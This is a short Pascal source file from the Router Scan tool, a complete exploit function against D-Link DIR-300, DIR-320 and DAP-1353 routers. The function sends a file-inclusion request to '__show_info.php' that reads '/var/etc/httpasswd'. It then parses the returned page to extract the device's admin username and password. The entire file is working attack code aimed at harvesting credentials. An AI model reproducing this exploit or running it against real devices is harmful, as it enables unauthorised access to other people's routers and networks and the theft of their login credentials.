// Router Scan exploit
// Copyright (C) Stas'M Corp. 2015

// Project home page:
// http://stascorp.com/load/1-1-0-56

// References:
// http://chelaxe.ru/dir-300/#comment-6976

function TRouter.Exploit_DLinkDIR300(UseAuth: Boolean; var AuthUser, AuthPass: String): Boolean;
var
  Code: Integer;
begin
  // Affected:
  // D-Link DIR-300
  // D-Link DIR-320
  // D-Link DAP-1353
  Result := False;
  if AuthOk and (AuthUser = 'admin') then
    Exit;
  if GetHTTP('http://'+IPToStr(IP)+':'+IntToStr(Port)+'/model/__show_info.php?REQUIRE_FILE=/var/etc/httpasswd',
  S, Code, 8, 0, ServerName, False, '', '') then begin
    S := UTF8Decode(S);
    S := DeleteBetween(S, 'Main Content Start', 'Main Content End');
    S := StringReplace(S, #9, '', [rfReplaceAll]);
    S := DeleteBetween(S, '<center>'+#10, #10#10+'</center>');
    if Pos('<td>', S) > 0 then
      S := DeleteBetween(S, '<td>'+#10, #10#10+'</td>');
    if Pos(#10, S) > 0 then
      Delete(S, Pos(#10, S), Length(S)-Pos(#10, S)+1);
    AuthUser := DeleteBetween(S, '', ':');
    AuthPass := DeleteBetween(S, ':', '');
    Result := (AuthUser <> '') or (AuthPass <> '');
  end;
end;
